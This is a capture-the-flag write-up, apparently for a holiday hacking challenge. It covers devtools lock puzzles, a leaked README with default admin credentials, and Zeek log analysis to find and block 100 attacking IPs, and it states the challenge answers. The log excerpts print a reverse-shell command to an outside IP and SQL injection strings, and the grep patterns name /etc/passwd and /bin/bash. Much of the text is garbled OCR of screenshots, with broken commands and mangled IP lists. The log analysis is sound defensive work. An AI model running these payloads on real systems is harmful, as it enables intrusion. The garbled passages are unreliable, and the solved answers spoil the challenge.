Holiday Hack Trail Hint (HARD Mode):
"7 - If we are, we should have a few fonts to choose from"

Solution:

1. Go to the "Style Editor" tab

2. Scroll down to the "inline style sheet #4" entry at the bottom of the list
3. The font-family will show the code

Crack the Crate NT6DDJWY - Mozill:

? Crack the Crate

C @ 0 a e.elfuorg o R +rmo oW

 Dhefont pou'he raing a preflylick, | o
Lot thi-ock's code. wan. iy frat pick- =
By A A e

In order for this hologramto | » »~ Highlight All Match Case Whole Words x
® 0O mspecior () Corsole © Debugger T4 Metwork () Style Editor €Y Performance {0F Memory B Storage T Accessibility ¥ What's New i - X
font-fanily: ‘BRIBIMWY", ‘Beth Ellen’, cursive;
o 20e780a5-029...56beb466906¢
62 rules
o Print.css
&
2 rules.
55

1 rule.
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" LOCK #8:

Question:
In the event that the .eggs go bad, you must figure out who will be sad.

Holiday Hack Trail Hint (HARD Mode):
"8 - The parents of spoiled kids go on the naughty list..."

Solution:

1. Inspector tab - search for ".eggs"

2. Click on the "event" associated with the ".eggs" span class
3. Click to expand the event window

NT6DDJWY - Mozilla

Crack the Crate

? Crack the Crate

c @ © | & hitps//crate.elfuorg - @
e the et hat e s g0 badigon | .
o i A P U Lt P A : A
R Mt_&.-‘aﬁt? 2k o :

v+ moe ™

yage Highlight All Match Case Whole wWords x

Inspector Console O Debu T TR — e g = Accessibili What's New e X
R G inspe 2 N . spoil ... j5/a0e78045-0291-4877-537F -56heb466906¢:1:26046 = [ oMz = ﬂ_ o
s + @ [ Layout Computed Changes ~

(1] = window[*VERONICA'] = *sad’
ine i = Flexbox

bl
b <lini=

v <lis So0Rc - 366 Select o Flex conbainer or ftem to
‘marker continue.

= <div class="instructions"> 2
* Grid

71 -5EbebdBEGAGC : 28
£S5 Grid is ot in wse on this page

zing: border-box;
* Box Model

lass="hint-dispenser" data-id="t Inherited from div

.instructions € {
margin

> span.eggs > font-Tamily: 'BPIBIMWY', 'Beth Ellen', cursive: -
. v —

Note: Lock #8 and #10 are the only locks where the code is always the same after a page refresh: VERONICA
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Question:
This next code will be unredacted, but only when all the chakras are :active.

Holiday Hack Trail Hint (HARD Mode):
"9 - Some toys have to be forced active"

Solution:

Style Editor tab - select the large css with 62 rules

Click in right windows, Ctrl-F and search for "chakra"

Scroll down to the "nth-child" ":active:after" entries

The "content:" entries will show the order to enter the code, top-down.

1.

2.
3.
4.

NT6DDJWY - Mozilla

Crack the Crate

? Crack the Crate

c o U a s:f/crate.elfu.org - @

page Highlight All Match Case Whole Words x
¥ O inspector [ console O Debugger N Metwork ({} StyleEditor () Performance { Memary [ Storage 7y Accessibility §§ What's New 0] e X

w o

cnth-child{1)-active:after {

-029...56bebd 03

ra:nth-child(2):active:after {
: "HIY;

o print.css

2 rules,

kra:nth-child{3):active:atter {
css .
1 rule.
e ra:nth-child{4):active:after {
&  <inline style sheet #4> T
1 rule
yactive:after {
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" LOCK #10:

Question:
Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.

Holiday Hack Trail Hint (HARD Mode):
"10 - Sometimes when I'm working, | slide my hat to the left and move odd things onto my scalp!"

Solution:

1. Inspector tab

2. Scroll down to the last list item <li> tag containing <div class="lock c10"> and expand it
3. Click on the "<div class="cover"> tag and press the delete key to delete this div class

4. Now the image of the lock should change to reveal the circuit board like this below:

5.

1 |

Ok, nol ':zm lock's oul o} Commisnion!
Dop. off the cover and locale whal's

IS

ALALg..

Rud a kint? |

Look at the lower right corner of the circuit board and printed there vertically in small print is the code

Note: Lock #8 and #10 are the only locks where the code is always the same after a page refresh: KD29XJ37

Enter this code in the lock and press the switch button which looks like a small button in the lower center of the

exposed circuit board.

However, nothing happens and the lock is still locked. To see why, you need to go to the Console tab. At the far right,

unselect Warnings, Logs, Info, & Debug and make sure Errors is selected.
In the Console tab you should see an Error for "Missing macaroni!" like below:
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Crack the Crate N
? Crack the Crate *
C @ © | & https://crate.elfu.org o v v Ino e R -
. = Feg g
Ok, nol Tha lock's oul of communiont | :
= Pop off the cower and locate what's 2
Find in page Highlight All  Match Case  Whole words X
® O inspector Console [ Debugger T Network {3} Style Editor (7Y Performance {3k Memory [ storage 0] #== X
m W Filter Qutput Errors  Warnings {144) Logs(2) Info Debug €S5 XHR Requests 3*
@ »Error: "Missing macaroni!” abe780a5-06291-4677-a37f-56beb466906c: 1:33639
317784542493 https://crate.elfu.org/client.js/aBe780a5-0291-4877-a37f -560ebI6E906c: 1
» [En]
9. Go back to the top of the Inspector HTML tab and right click on the "body" tag to "Expand All"
10. Search in the HTML search box for ".macaroni" and you will find a "<div class="component macaroni" in lock 7's
instruction list item
Crack the Crate N76DDJWY - Mozilla
? Crack the Crate
L Oy 0 a e elfu.org - @ T v mmoe B =
. Ok, nol Thir lock's dut a} canw%_f S
= : o DTN
S Pop. off the cover and locate what's S
- 2 Mmf-— S
e Nead o hint? S
F [ Highlight All Match Case Whole words ><
O O Inspector Console [ Debugger ‘) Network () StyleEditor Q) Performance  {k Memory [E] Storage y Accessibility g What's New 0] » X
|.'_ .macaronl ) 0 + A ¥ = hov «is + (@ [ Layout Computed Changes -
element O { intine [l » Flexbox
! - Select o Flex container of item to
k "D- { continue.
tructions™> R . :
yau're seeing is pretty slick, but this lock's cade was my first pick. TR oRat i ~ Grid
class="hint-dispenser” data-id="7">Need a hint7</buttons [EVent Inherited from ul X%k s pat.in a2 on this page
91-4877-a37f-56bebla66906c : 70 = Box Model
locks €& {
List-style: » none;
"lock 7 unlocked®> }
Inherited From html
himl » ullocks » li » div.component.macaroni _6291.4877-23 Ebend6Ea06
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11. Click on this <div> class and drag it down to place it inside of lock 10's div class as shown below: A

Crack the Crate

NT6DDJWY - Mozilla
? Crack the Crate

C o U & e.elfu.org - UnEw —
. Ok, nol Thin lock's aut of comm "H!'E!!_." B
AT Pop. of) the cover and locate what's e

Highlight all Match Case Whole Words

(® O Inspector [ Console [ Debugger 1 Network ()} StyleEditor () Performance ik Memory [E) Storage -y Accessibility g What's New 0] » X

.macaron 0O+ » v St hov <ts + [@ [I Layeut Computed Changes -

element £ { tntine M+ Flexbox

Select a Flex container or item to
continue.

- Grid

gth="8" data

€55 Grid is not in use on this page
- Box Model

position ;]

margin

Inherited Ffrom html
ntrm body div.oo » ullocks (1] div.lock c10 * div.componentmacaron

_B291.4877.a37f-56be

padding

12. Now click on the switch again. You will see nothing happens again. Going again to the Console tab, you see another
error appears now for "Missing cotton swab!"

Crack the Crate

NT6DDJWY - Mozilla
? Crack the Crate

c o v & e.elfu.org - B Y B I ca I L
O, nal This lock's su. of commission) |
TR Pop. of) the caver and locate what's P

Nud o kint?

Highlight all Match Case Whole Words

O O Inspector Console [ Debugger T} Network {} Style Editor () Performance  {JF Memary
© » Error: "Missing macaroni!®
317784542493 https://crate.elfu.org/client. js/a0e788a5-0291-4877-a371 -56bebdB6906c : 1

@ » Error: "Missing co
317784542493 htt

B storage  r Accessibility §§ What's Mew [ »s X
Effors  Wernings(144) Logs(2) Info Debug  C55 XHR Requests $f

aBeTB80a5-8291-4877-a371-56bebd66966¢C - 1: 33639

on swab!"

80=TBBa5-0291-4877-837f - 56bebd66906c : 1: 33639
ps:/fcrate.elfu.org/client. j5/a0e780a5-6291-4877-a37F - 56bebd6E6906C : 1

@
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13. In the Inspector tab search for ".swab", you'll find it inside of lock 6's hologram section. A

Crack the Crate

? Crack the Crate

< c @ 0 a

elfu.org ves w L m o e & =

Ok, nal This tocks out of commirsion! |
Pop of the cover and tocate what'n | .

R T

i~
O O Inspector Console [ Debugger ‘1) Network {} Style Editor (7Y Performance #F Memory [ Storage T Accessibility > 4] = x
Q, swab € 10f1 + A T FilterStyles hov «is 4+ (@ [ Layout Computed Changes |+
</div element €3 { inline B + Flaxbox
wv<div class="sticker"=> 1
::befor i i
v«ns :‘L:rs_“nmo — .B2-485c-af39-d79c3845948b:318 Select a Flex container or item to
ss="holog S i continue.
w=div class="items"> iy ahalae: .
<div class="GMSXHBOH">]1</div= _NJ 5 = & ~ Grid
3 . - = transform-style:
<div class="KPWBGSG">6</div> preserve-3d; C55 Grid is not in use on this page
<div class="AJGXPXIV">2=/div> COLoR: rgba(212, 255, 8,
<div class="ZADFCDIV">H</div= 8.86); ~ Box Model
<div class="RPSMZXMY">L</div= b3 T
<div class="KXTBRPTI"=N</div> S T position | o
class="ID0IJIKV">H</div> * Q‘ { margin 8

ZWYRBISO">R</div= box-sizing: border-box;

1

Inherited from div

€ body » divbox > ullocks > li » s » divcomponer ¥ 8 . Y Gt | ]

Drag this <div> class down as before to lock 10:

Crack the Crate N76DDJWY - Mozilla

? Crack the Crate

C o D & e.elfu.org - B + n @D & . =
- _ ' e b L
: Ok, nol Tk lock's out of commission!
s g -
e Pop. off the cover and. locate what's =
ol oy
: Naed o hint?
F / Highlight Al Match Case  Whole Words x
® © Inspector Console [ Debugger T Network () StyleEditor (7) Performance {J Memory [ Storage y Accessibility g5 What's New 0l = X
swab QD 1of1 + A : how <is 4+ ([@ [ Laout Computed Changes |~
slement £ { intine B + Flexbox
F
a1 Se\'er._t a Flex container or item to
.hologram = Coptiane
po - Grid

nlocked”s</span> €SS Grid is not fn use on this page

7 - Box Model
}.'<-. 4B77-a371-5¢ 466 2 position a8
o margin
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Crack the Crate

? Crack the Crate

¢ o 0 &

e.elfu.org

——

Ok, nol This lock's ol of commission!
- Pop. off the cover and locate what's

i PR i ,"'”",I-z T
Nead o hint?

Highlight all Match Case Whole Words
O O Inspector
@ » Error: "Missing macaroni!”

317784542493 https://crate elfu.org/elient. j5/a0e780a5-6291-4877-a37F-56hebdB6906 1
@ » Error: "Missing cotton swab!"

317784542493 ht Jfcrate.elfu.org/client. j5/aBe780a5-0291-4877-a37f - 56bebd 66906 : 1
© ) Error: "Missing gnome!*

317784542493 https://crate.elfu.org/client. js/aBe788a5-0291-4877-a37f-56beb466906c: 1

Console [ Debugger T} Network ()} Style Editor () Performance

1 Memary

Errors

T o @

B Storage Accessibility

Warnings (192)

14. If you click the switch nothing happens again and you'll get one final error for "Missing gnome!" in Console tab:

N76DDJWY - Mozilla

@:

8 What's New

D"_'| ees X
Requests  Tf

aBeTB80a5-8291-4877-a371-56bebd66966¢C - 1: 33639

Logs(2) Info Debug €SS XHR

#0eT80a5-0291-4877-8371-56beba66906c - 1: 33639

abe780a5-0291-4877-a37f-56bebI66006c : 1: 33630

@

Once again, searching for ".gnome" in the Inspector tab, you'll find the <div> class in lock 2's section.

Crack the Crate

? Crack the Crate
c @ o &

e.elfu.org

——

Ok, nol This lock's out of commission!
Pop. of) the cover and. locate what's

——r pry B - v.-l ! .-
Nad o hint?

Highlight all Match Case  Whole Words

¥ 0 Inspector [ Console ([ Debugger ) Metwork ()} Style Editor (3} Performance  {F Memory [E) Storage Ty Accessibility

| Q, .gnome

QJNF‘ + X hov s +

v s="c2-text Lnstructions™s

Some codes are hard to spy,

Inherited From div
Jdnstructions O {
font-family:

Beth Ellen

int-dispenser” data-i

* ullocks * i * div.c2-textnstruction

L
A
:  x
s moe ™ =
:  x
A
—E

S R

element £ { 1n1i

N76DDJWY - Mozilla

o What's Mew

D"_'|...>(

B ED Layout Changes | w

Computed
~ Flexbox

Select a Flex container or item to
continue.

- Grid
S5 Grid is not in use on this page

= Box Model




1 |

I | |
4

15. Drag it down as before to lock 10.

Crack the Crate N76DDJWY - Mozi

? Crack the Crate

c @ oa e.elfu.org @ 0 ¢+ mnoe

ST T ol o ki
Y Pop of) the cover and locate what's -

e — -y
F [ Highlight All Match Case  Whole Words b4
= O Inspector Console [ Debugger N} Network () StyleEditor Q) Performance  { Memory [E) Storage y Accessibility g What's New 0] » X
.gnome QD 1ot + X ; hov <ts 4+ [ [ Layout Computed Changes |~
element O { intine [l + Flexbox
1

Select a Flex container or item to

18- [event v o continue.
A33"></div> box-sizing: border-box; - Grid
1§
Inherited From div CS5 Grid is not in use on this page
</but
icator locked =</ s Jinstructions © { ine:1 - Box Model
ndicator unlocked®s</spans> '1':._(':"; =e:’ position "
¥
heml » body * divbox * uliocks » i » divlockcl0 * div.component.gnome .1ni('uc:101s ?1‘
ant cize am:

16. Now with all 3, macaroni, cotton swab and gnome showing on the circuit board image as shown above, now click the
switch to unlock lock 10 and it immediately jumps to a new page to reveal the final note revealing the villain!
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The answer to Objective 11 needed for the badge question is the string: The Tooth Fairy

& 11) Open the Sleigh Shop Door
Difficulty:

Visit Shinny Upatree in the Student Union and help
solve their problem. What is written on the paper you
retrieve for Shinny?

For hints on achieving this objective, please visit
the Student Union and talk with Kent Tinseltooth.

€ 11) Open the Sleigh Shop Door
Difficulty:

Visit Shinny Upatree in the Student Union and help
solve their problem. What is written on the paper you
retrieve for Shinny?

For hints on achieving this objective, please visit
the Student Union and talk with Kent Tinseltooth.

Congratulations! You have completed
the Open the Sleigh Workshop Door
challenge!

After completing this Objective, the Sleigh Shop Door in the Student Union should now be open and you can enter this room. Talk
again with Shinny Upatree in the Student Union to get some additional detail on Objective 12.

Shinny Upatree
Wha - what?? You got into my crate?!

Well that's embarrassing...

But you know what? Hmm... If you're good enough to crack MY security...
Do you think you could bring this all to a grand conclusion?

Please go into the sleigh shop and see if you can finish this off!

Stop the Tooth Fairy from ruining Santa's sleigh route!
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Objective 12 — Filter Out Poisoned Sources of Weather Data

For this Objective, the summary given in the badge supplies you with the Zeek JSON logs (https://downloads.elfu.org/http.log.gz)
you will need to analyze to solve this challenge. You also are supplied a link to the Sleigh Route Finder website (https://srf.elfu.org/).
Shinny Upatree also provides the following additional information after solving Objective 11:

Shinny Upatree

Psst - hey!

I'm Shinny Upatree, and | know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.
In fact, | know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.
The only way you could would be if you could break into my crate, here.
You see, I've written the villain's name down on a piece of paper and hidden it away securely!

After solving Objective 11, you can now enter the Sleigh Shop (through the Student Union). In this room
you can interact with 3 characters: The Tooth Fairy, Wunorse Openslae, and Krampus. Also, in this room
is a console for the Sleigh Route Finder or you can access it directly at: https://srf.elfu.org/

Interacting with The Tooth Fairy, confirms what you already know which is she is the mastermind behind the plot. Interacting with
Krampus will also lead you to https://srf.elfu.org/ to solve the final objective. Wunorse Openslae introduces a separate achievement

challenge that is in this room called Zeek JSON Analysis and upon solving that simpler challenge, interacting again will provide the
following hint for Objective 12:

Wunorse Openslae

Hey, you know what? We've got a crisis here.

You see, Santa’s flight route is planned by a complex set of machine learning algorithms which use available weather data.

All the weather stations are reporting severe weather to Santa's Sleigh. | think someone might be forging intentionally false weather data!
I'm so flummoxed | can't even remember how to login!

Hmm... Maybe the Zeek http.log could help us.

| worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I'd be shocked if there weren't some shell stuff in there too.

Objective 12 has two components:

1. Gain access to https://srf.elfu.org/ (needs a credential to login)

2. Analyze the provided logs (https://downloads.elfu.org/http.log.gz) and find the 100 attacking ip addresses in these
logs so they can be blocked using the Sleigh Route Finder website.

Gaining Access to the Sleigh Router Finder Website

The important clue for this is reading the pdf document we decrypted in Objective 10 which is the Super Sled-o-
matic Quick Start Guide pdf. On page 3 of this pdf, there is this text below:

3. SRF - Sleigh Route Finder Web API

The SRF Web APl is started up on Super Sled-O-Matic device bootup and by default binds to
0.0.0.0:1225:

‘SLEIGH ROUTE FINDER AP

The default login credentials should be changed on startup and can be found in the readme in
the EIfU Research Labs git repository.

The key phrases being: "default login credentials", "readme" and "git repository"
Page 127 of 184



https://downloads.elfu.org/http.log.gz
https://srf.elfu.org/
https://crate.elfu.org/
https://srf.elfu.org/
https://srf.elfu.org/
https://srf.elfu.org/
https://downloads.elfu.org/http.log.gz

Putting those together, it's possible that when https://srf.elfu.org was setup, the admin just did a straight "git
clone" right into the webroot and the standard readme file for a git repository by default is: README.md.

Trying this URL: https://srf.elfu.org/README.md retrieves the readme file with documentation on the default
credential:

README.md [Read-Only]
README.md [Read-Only]

- Sleigh Route Finder Web API

sudo apt install python3-pip
sudo python3 -m pip install -r re rements. txt

hing custom.|

Markdown ¥ Tab width:8 « Ln 20, Col 79 v INS

| admin 924158F9522B3744F5FCD4D10FAC4356 |

Using these credentials, we can login to https://srf.elfu.org/

(-] SRF - Sleigh Route Finder API - Mozilla Firefox

SRF - Sleigh Route Finder » x [

« [cE") 0 & elfu.org - N + m @ ¢

SLEIGH ROUTE FINDER API
SRF

LOGIN

SRF - Sleigh Route Finder API - Mozllla Firefox

SRF - sleigh
€« (<~

elfu.org

SLEIGH ROUTE FINDER API APIDOC ~ WEATHERMAP  FIREWALL  LOGOUT

Santa's Sleigh no longer uses magic to guide it and has instead been upgraded with a newer, better and
more efficient device created by the students at ELF-University called the SRF - Sleigh Route Finder. This
page is the landing page for monitoring and controlling the SRF. The SRF device ingests weather data
from thousands of remote weather stations reporting directly to Santa's Sleigh. The SRF's on-board
computer then calculates the best and most efficiency present delivery path using machine learning.
Remote elf workers around the world maintain thousands of different weather stations around the globe
that report weather conditions directly to the on-board SRF device through this API.
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The SRF website has three main sections starting with a link to the API docs: A

SRF - Sleigh Route Finder

<« <~ @& nitpsysrrelfuorg

SLEIGH ROUTE FINDER API

SRF

WEATHER MAP FIREWALL LOGOUT

API

DOCS
*

SRFAPI - Sleigh Route Finder APl was created by Alabaster
Snowball and the student Elves at ELF-University to enable
any global EIf Weather station to report their local weather
conditions using any command-line/programming tool. This
weather data is then fed to the sleigh's on-board computer to
be calculated via machine learning to have the most efficient
and safe route for Santa to travel.

& API Documentation

apidocs.pdFf

Reference the APl pdf documentation below to better
understand how to report weather data. This APl is so easy,
any elf can report in! For example:

curl -X POST -H "Content-Type: application/json” \
-d '{"coord”:{"lon":19.84, "lat":47.5}, "weather": [{"id": 761, "m
http://srf.elfu.org/api/measurements

apidocs.pdFf 107.29% v

S

HTTP POST REQUEST TO - http://srf.elfu

HTTP POST BODY SIMILAR TO (replacing

.org/apifmeasurements

HTTP HEADER OF - Content-Type: application/json

RF API DOCS

Sleigh Route Finder APl Documentation

To Update The Measurements For a Specific Global EIf Weather Station:

station_id and weather data):

{
"coord": {
"lon': 19.04,

"lat": 47.5

“icon": "50d"

b

1

"base": "stations”,

"main’
"temp": 3,
"pressure": 1016,
"humidity": 74,
"temp_min": 3,
"temp_max": 3

b

"isibility": 5000,

"wind": {

"sunrise": 1518155907,
"sunset": 1518191898

L

“station_id": abcd1234,
"name': "Budapest',
"cod"; 200
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" The Weather Map section: A

= ¢ o o a elfuorg 5] 9 % U T\ Y g

SLEIGH ROUTE FINDER API APIDOC | WEATHERMAP = FIREWALL  LOGOUT

WEATHER MAP

Reporting EIf
Weather Stations
Boots Party

4 Reporting Extreme WeatherA TUNISIA
norocgl ¢
North Pole Snowfall Tl cenia

el MALRITANIA
A Reporting Extreme Weathers u
s
Nutcracker Hot Cider
z venezu

; Een

 Reporting Extreme Weather2 £cuacor
North Pole Bells s Enazit

L 5 P BoLviA
4 Reporting Fxtreme Weather.

Party Joy

g Extreme Weal

© Mopbox € OpenSirsetiap kmprove this map

SRF - 5leigh Route Finder
I ola elfuarg 5] @ 1 R ]

SLEIGH ROUTE FINDER API APIDOC  WEATHERMAP : FIREWALL | LOGOUT
SRF

FIREWALL

Firewall rules apply in the order they appear in the list below and should
always end in a default deny/accept of 0.0.0.0/0. To submit a single IP,
vou could provide semething similar to 1.1.1.1/32 or 1.1.1.1. To submit
arange, you could provide 192.168.1.0/24 and to submit a list of IPs.
vou can use csv format similar to 1.1,1.1/32 , 2222, 3.3.3.3/32 etc...

ip/cidr OR ip/cidr,ip/cidr.ip/cidr

ACCEPT DENY RESET

Route Calculation Failed - Erroneous Weather Data A0.000/0 x

Now on to the second part of this Objective - analyzing the logs:

1 |

»
1 | | | N



Analyzing the http.log.gz Logs

As with previous Objectives, there are many tools and methods that could have been used to parse and analyze these logs. | chose to
do the analysis completely with Linux command line utilities to parse the logs and find the 100 offending ip addresses. After much
analysis in finding malicious activities (SQLi, LFl, XSS, shellshock/CGI abuses) and related entries with similar attributes, these are the
final list of commands that when run on the original http.log.gz file, will generate a sorted list of the 100 offending ip addresses
(please excuse the tiny font - wanted each command to fit in one line as much as possible):

gunzip http.log.gz
cat http.log | sed "s/\", \"/\"\n\"/g" | sed "s/}, {\"ts/}\n{\"ts/g" | sed "s/, \"status_/\n\"status_, | sed "s/, \"response_ /\n\"response /g" | sed "s/, \"id\.resp/\n\"id\.resp/g" | sed "s/, \"trans_/\n\"trans_, | sed
"s/, \"method\"/\n\"method\"/g" | sed "s/\"}/\"}\n\n\n\n\n\n/g" > http-linebyline.log
cat http-linebyline.l grep -B 12 -A 22 "UNION\|/etc/passwd\|>alert\|/bin/bash\|/bin/sh\|{ sed "/~$/d" > attacksl.txt
cat http-linebyline.log | grep -A 21 -B 8 -i "~.host.: rf.elfu.org” | sed "/~$/d" > attacks2.txt
rm attacks3.txt
.CholTBAgent" | sed "/A$/d" >> attacks3.txt
-HttpBrowser/1 | sed "/$/d" >> attacks3.txt
(compatible; Metasploit RSPEC)" | sed "/~$/d" >> attacks3.txt
(compatible; MSIE 5.01; Windows NT 500.0)" | sed "/~$/d" >> attacks3.txt
cat http-linebyline. (compatible MSIE 5.0;Windows_98)" | sed "/~$/d" >> attacks3.txt
cat http-linebyline ible; MSIE 6.0; Windows NT 5.0; .NETS CLR 1.1.4322)" | sed "/~$/d" >> at
ompatible; MSIE 6.0; Windows NTS.1)" d "/rs/dn ttacks3. txt
ompatible; MSIE6.0; Windows NT 5.1)" Ltxt
patible; MSIE 6.0; Windows NT 5.1; CLR 1.1.4322; .NET CLR 2.0. " | sed "/7$/a" >
(compatible; MSIE 6.1; Windows NT6.0)" citsiie
compatible; MSIE 666.0; Windows NT 5.1" | sed "/A$/d" >> attacks3.txt
(compatible; MSIE 6.a; Windows NTS)" | sed "/7$/d" >> attacks3.txt
(compatible; MSTE 7.0; Windos NT 6.0)" | sed "/"$/d" >> attacks3.txt
(compatible; MSIE 7 ; AntivirXP08; .NET CLR 1.1.4322)" | sed "/~$/d" >> attacks3.txt
.0 (compatible; MSIE 7 ridents/4.0)" | sed "/*$/d" >> attacks3.txt
1.0 (compatible;MSIE 7. sed "/~$/d" >> attacks3.txt
0 (compatible; MSIE 8 | sed "/~$/d" >> attacks3.txt
(compatible; MSIE 8. /4.0; .NET CLR 1.1.4322; )" | sed "/A$/d" >> attacks3.txt
(compatible; MSIE 8. | /4.0)" | sed "/~$/d" >> attacks3.txt
>; MSIE 8.0; Windows NT 5.1; nts/4.0; .NET CLR 1.1.4322; PeoplePal 7.0; .NET CLR 2.0.50727)" | sed "/~$/d" >> attacks3.txt
; MSIEE 7.0; Windows NT ~$/d" >> attacks3.txt
cat http-linebyline (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)" | sed "/"$/d" >> attacks3.txt
cat http-linebyline. Mozilla/4.0 (compatibl; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DBOF6DE-8DE7-4841-9084-28FA914BOF2E}; SLCCl; .N" | sed "/~$/d" >> attacks3.txt
cat http-linebyline. Mozilla/5.0 (compatible; Goglebot/2.1; +http://www.google.com/bot.html)" | sed "/~$/d" >> attacks3.txt
cat http-linebyline. Mozilla/5.0 (compatible; MSIE 10.0; Window NT 6.1; Trident/6.0)" | sed "/~$/d" >> attacks3.txt
cat http-linebyline zilla/5 sed "/7$/d" >> attacks3.txt
zilla/5 /d" >> attacks3.txt
Mozilla/5 0101 Chrome /53.0" | sed "/~$/d" >> attacks3.txt
Mozi11a/5.0 Kit/525.13 (KHTML, like Gecko) chrome/4.0.221.6 safari/525.13" | sed "/A$/d" >> attacks3.txt
Mozilla/5.0 Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)" | sed "/A$/d" >> attacks3.txt
cat http-lin Mozilla/5.0 gecko/20100401 Firefox/3.6.1 (.NET C 30731" | sed "/"$/d" >> attacks3.txt
cat http-lin
cat http-linebylil (Windows-NT 6.1; U; en)™ | sed "/~$/d" >> attacks3.txt
cat http-linebylil 0" | sed "/~$/d" >> attacks3.txt
cat http-linebylii /1.9+cvs-stable (Red Hat modified)" | sed "/~$/d" >> attacks3.txt
cat attacksl.txt attacks2.txt attacks3.txt | grep id.orig h | sort | uniq | cut -f 2 =d ' ' | tr -d '\"' | sort €. -k1,1-k2,2-k 3,3 -k 4,4 | unig | sed "s/$/\/32,/g" | tr -d "\n" | sed "s/,$/\n/g" | sed "s/*/\n/g"
6.144.27.227/32,9.95.128 33/32,10.122.158.57/32,10.155.246.29/32,13.39.153.254/32,19.235.69.221/32,22.34.153.164/32,23.49.177.78/32,23.79.123.99/32, 27.88.56 . 114
xzﬂ/zz 31.254.228.4/32,32.168. 129.179.28/32,34.1 4 /32,42.16.149.112/32,42.103.246.250/32,42.127.244.30/32,42.191.112.181/32,44.74.10
.161.8.58/32,50.15 /32 56.5.47.137/32,61.110.82.125/32,65.153.114.120/32,66.116.147.181/32, 68 .115.251.76/32, 69221 .145.150/32,72.183.132. 20
95.166.116.45/32, 97.220.93.190/32,102.143.16.184/32,103.235.93.133/32, 104
12, 121.121.48/32,131.186.145.73/32,135.32.
09/32,168.66.108. 62/%2 173 37.160.150/32,185.19.7.133/32, 186.28.46.179/32, 187.152.203.243/32,187.1 5 1228.38/32, 200,
133 02 188.154/32,227.110.45.126/32,229.133.163.235/32,229.229.189.246/32,230.246.50.221/32,
2.55/

attacksl.txt
Objecti analysi:
2019-10-05T@7:01:51
( El"u‘Flqul’lKlﬂﬂbAbE“”
orig h' .103.246.250"
SG‘AES
"10.20.3

UNION SELECT NULL,MNULL,NULL--"

mpatible;MSIe 7.0;Wind NT 5.1)"

nd4beNp4:
"56.5.47.137"

336

ripts&ref a=avdsscanning\\\"><script>alert(15

Plain Text ¥  Tab Width:8
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attacks2.txt

1fu.org"
ations

}; /bin/bash -i >& /dev/tcp/31.254. 48051 0=51"
"origin
"request_body len": @

Bad Request"

: "Mozil 0 p : gExt)
Plain Text ¥  Tab Width: 8 = Ln1,Coll - INS

attacks3.txt
Open E t | T nalysis
{"t "2019-10-13T07:12:17-0700"
"uid" NTAN1iBVWDyPz rQd"
"id.orig_h": "135.32.99.116"
"id.orig_p":
"id.r h"

ation_i ' UNION SELECT 1,2, 'automatedscanning',4,5,6,7,8,9,10,11,12,13/+%"
.elfu.org/

"id.orig_p"
"id.resp_h"

_depth": 3
"method": "GET"

badweather.png"

Plain Text ¥  Tab Width: 8 Lni, Coll
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0.216.249.31/32,2.230.60.70/32,2.240.116.254/32,6.144.27.227/32,9.95.128.208/32,9.206.21
2.33/32,10.122.158.57/32,10.155.246.29/32,13.39.153.254/32,19.235.69.221/32,22.34.153.16
4/32,23.49.177.78/32,23.79.123.99/32,27.88.56.114/32,28.169.41.122/32,29.0.183.220/32,31
.116.232.143/32,31.254.228.4/32,32.168.17.54/32,34.129.179.28/32,34.155.174.167/32,37.21
6.249.50/32,42.16.149.112/32,42.103.246.250/32,42.127.244.30/32,42.191.112.181/32,44.74.
106.131/32,44.164.136.41/32,45.239.232.245/32,48.66.193.176/32,49.161.8.58/32,50.154.111
.0/32,53.160.218.44/32,56.5.47.137/32,61.110.82.125/32,65.153.114.120/32,66.116.147.181/
32,68.115.251.76/32,69.221.145.150/32,72.183.132.206/32,75.73.228.192/32,80.244.147.207/
32,81.14.204.154/32,83.0.8.119/32,84.147.231.129/32,87.195.80.126/32,92.213.148.0/32,95.
166.116.45/32,97.220.93.190/32,102.143.16.184/32,103.235.93.133/32,104.179.109.113/32,10
6093 218, 21.C)/ 32, L) PWeWA 1195, 11539 32, 1Ll . J1l  ILAE 191 /82, L 106, L1l G , OF . 205/32,, 1E . 26, 57 . 36/ Sz, 1.
168196 230 . 170 /32 WAl 7 65 11638/ 32, 123 27 - 233 . 97/ 32pl 26 . 102, 1.2 . 53/ 32, 129, 12 1M 21l . 415 /32,
131.186.145.73/32,135.32.99.116/32,135.203.243.43/32,140.60.154.239/32,142.128.135.10/32
,148.146.134.52/32,150.45.133.97/32,155.129.97.35/32,158.171.84.209/32,168.66.108.62/32,
173.37.160.150/32,185.19.7.133/32,186.28.46.179/32,187.152.203.243/32,187.178.169.123/32
,190.245.228.38/32,200.75.228.240/32,203.68.29.5/32,206.253.249.195/32,217.132.156.225/3
2,220.132.33.81/32,223.149.180.133/32,225.191.220.138/32,226.102.56.13/32,226.240.188.15
4/32,227.110.45.126/32,229.133.163.235/32,229.229.189.246/32,230.246.50.221/32,231.179.1
08.238/32,238.143.78.114/32,249.34.9.16/32,249.90.116.138/32,249.237.77.152/32,250.22.86
A0 ) 22, 252, 122 5243 21 gl WARE 65 A0, 39/32 /Y463, 182,102, 55/ 32

Entering this into the Firewall section of the SRF web site as Deny entries:

SLEIGH ROUTE FINDER API API DOC WEATHER MAP FIREWALL LOGOUT

Firewall rules apply in the order they appear in the list below and should always end in a default
deny/accept of 0.0.0.0/0. To submit a single IP, you could provide something similar to 1.1.1.1/32
or1.1.1.1. To submit a range, you could provide 192.168.1.0/24 and to submit a list of IPs you can
use csv format similar to 1.1.1.1/32,2.2.2.2, 3.3.3.3/32 etc...

IP Address/Range

ip/cidr OR ip/cidr,ip/cidr,ip/cidr

( D:25318210255/32 x [ D:253.6540.39/32 x |

[ D:252122243212/32 x [ D:25022.86.40/32 x |

) ( D249.237.77.152/32 » )| D:249.90116.138/32 %
° N N p

Route Calculation Success! RID:0807198508261964 (CD249369:16/32 %) (123814378 114/32 X

The answer to Objective 12 needed for the badge question is the string: 0807198508261964
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& 12) Filter Out Poisoned Sources of
Weather Data

pifficulty: F 3

Use the data supplied in the Zeek JSON logs to
identify the IP addresses of attackers poisoning
Santa's flight mapping software. Block the 100
offending sources of information to guide Santa's
sleigh through the attack. Submit the Route ID
